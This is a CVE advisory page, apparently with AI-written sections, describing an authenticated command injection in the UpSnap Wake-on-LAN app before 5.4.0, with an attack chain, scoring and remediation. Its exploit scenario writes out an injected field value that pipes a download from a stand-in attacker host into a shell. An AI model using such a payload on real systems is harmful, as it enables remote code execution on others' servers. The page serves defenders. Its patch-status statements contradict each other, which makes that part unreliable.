UpSnap
CVE-2026-49481
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as low-privileged device-management user
-
DeliveryCreate or edit device with shell payload in IP/MAC field
-
ExploitPayload interpolated into wake_cmd/shutdown_cmd template
-
ExecutionTrigger wake or shutdown action
-
PersistServer runs command via /bin/sh -c or cmd /C
-
ImpactArbitrary code execution on UpSnap host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated UpSnap account (PR:L) that holds permission to create or edit devices, against a version prior to 5.4.0. The concrete trigger is the device wake_cmd/shutdown_cmd templating: user-controlled ip and mac values populate the {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders and are executed by /bin/sh -c on Linux or cmd /C on Windows without sanitization, so injecting shell metacharacters into those fields and invoking the wake or shutdown action yields code execution. Limiting factors: it is not anonymous - a valid low-privileged account with device-management rights is needed, and only versions below 5.4.0 are vulnerable. However, on a publicly reachable instance that has not finished initial setup, an attacker can first seize the superuser account via GHSA-w4jr-728f-5jhq and then satisfy this precondition themselves. |
| Impact | The signals are largely consistent and point to a genuine high-severity issue, tempered by an authentication prerequisite. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N, 9.6 Critical) reflects network reachability, low attack complexity, low privileges required, no user interaction, and a scope change into the host OS. PR:L is the key limiter: exploitation is authenticated, requiring an account that can create or edit devices. There is no CISA KEV listing and no public POC referenced, so this is 'no public exploit identified at time of analysis' - not active exploitation; EPSS was not provided but would be expected to start low pre-exploit-publication. The scored A:N is conservative - arbitrary OS command execution realistically permits destruction and denial of service, so real availability impact is likely higher than scored. The most important amplifier is the separately disclosed setup-wizard weakness (GHSA-w4jr-728f-5jhq): on a publicly reachable instance that has not completed initial setup, an attacker could register the first superuser and thereby obtain the very device-management privilege this RCE needs, effectively lowering the practical barrier toward unauthenticated compromise. Net: a real patching priority for any exposed UpSnap instance, especially internet-facing or not-yet-provisioned deployments. |
| Exploit ScenarioDerived | A low-privileged user who can add devices creates a device whose MAC or IP field contains an injected payload such as 192.168.1.10; curl http://attacker/x | sh. When the wake or shutdown action runs, UpSnap substitutes the value into its command template and executes it via /bin/sh -c, running the attacker's commands on the server with the application's privileges. No public POC is referenced, but the low attack complexity makes reliable exploitation straightforward for anyone holding a device-management account. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 12, 2026
Authenticated remote code execution in UpSnap (a self-hosted Wake-on-LAN web app) before 5.4.0 lets any low-privileged user with device create/edit permission run arbitrary OS commands on the server. User-supplied device IP and MAC values are interpolated into the wake_cmd/shutdown_cmd shell templates and passed unsanitized to /bin/sh -c on Linux or cmd /C on Windows, giving full command execution in the app's process context. No public exploit was identified at time of analysis and it is not in CISA KEV, but the flaw is trivially triggerable at low attack complexity once an account exists; a companion setup-wizard flaw (GHSA-w4jr-728f-5jhq) can let an attacker seize the first superuser on un-provisioned public instances and chain into this RCE.
RemediationAI
Vendor-released patch: upgrade to UpSnap 5.4.0 (https://github.com/seriousm4x/UpSnap/releases/tag/5.4.0), which sanitizes the ip and mac values used in the wake_cmd/shutdown_cmd templates. Until you can upgrade, restrict device create/edit permission to fully trusted administrators only and audit existing device IP/MAC fields for shell metacharacters, since a malicious or compromised low-privileged account is the trigger - accepting reduced day-to-day delegation. Because a pre-5.4.0 instance that has not completed initial setup also lets an attacker claim the first superuser (GHSA-w4jr-728f-5jhq), keep any un-provisioned instance off the public network and complete setup before exposure; in 5.4.0 the first superuser is created out-of-band via a one-time link in the server console logs. As additional compensating controls, place the UpSnap web UI behind a VPN or reverse-proxy authentication and network-segment the host so command execution there cannot pivot, at the cost of added access friction for legitimate users.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
UpSnap is an open-source (Go/PocketBase backend with a Svelte frontend) web application for waking and shutting down networked devices. Its device management feature lets operators define custom shell commands for wake and shutdown actions using {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are string-substituted with each device's stored IP and MAC before execution. Because the substituted values are concatenated directly into a shell command string and handed to /bin/sh -c (Linux) or cmd /C (Windows) rather than passed as isolated argv arguments or validated as IP/MAC formats, an attacker can embed shell metacharacters (e.g. ; | & $(...) ) in the ip or mac field. This is the textbook CWE-78 OS Command Injection root cause: untrusted input crossing into a command interpreter without neutralization. The single affected package is cpe:2.3:a:seriousm4x:upsnap (all versions prior to 5.4.0).
Know when Upsnap gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Network-reachable web UI (AV:N), trivial injection (AC:L), needs a low-priv device-editing account (PR:L), no interaction (UI:N); OS command exec breaks out of the app (S:C) enabling full host C/I/A, so A:H unlike NVD's conservative A:N.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
DescriptionCVE.org
UpSnap is a wake on lan web app. Versions prior to 5.4.0 have an OS command injection vulnerability in the UpSnap’s device management functionality due to the presence of unsafe shell command template interpolation using the ip and the mac fields. User-controlled values can be inserted into the wake_cmd and shutdown_cmd templates and executed via /bin/sh -c (Linux) or cmd /C (Windows) without sanitization, resulting in an authenticated Remote Code Execution (RCE). A low-privileged user with permission to create or edit devices can execute arbitrary operating system commands on the UpSnap hosted server. Version 5.4.0 patches the issue.
Executive ViewAI
UpSnap, a self-hosted Wake-on-LAN management application, contains a critical authenticated remote code execution vulnerability (CVE-2026-49481, CVSS 9.6) affecting versions before 5.4.0. Any user with basic device management permissions can execute arbitrary commands on the hosting server, potentially compromising the entire infrastructure and enabling lateral movement into internal networks. This risk is elevated by a chaining vulnerability that can grant unauthorized superuser access to unprovisioned instances.
No vendor-released patch identified at time of analysis. Interim mitigations: restrict UpSnap network access to trusted administrators and jump hosts only; disable device create/edit permissions for standard users; implement WAF or IDS rules to detect shell metacharacters in device IP/MAC parameters; regularly audit user permissions and access logs; consider air-gapping the UpSnap instance to internal-only access until patch is released.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB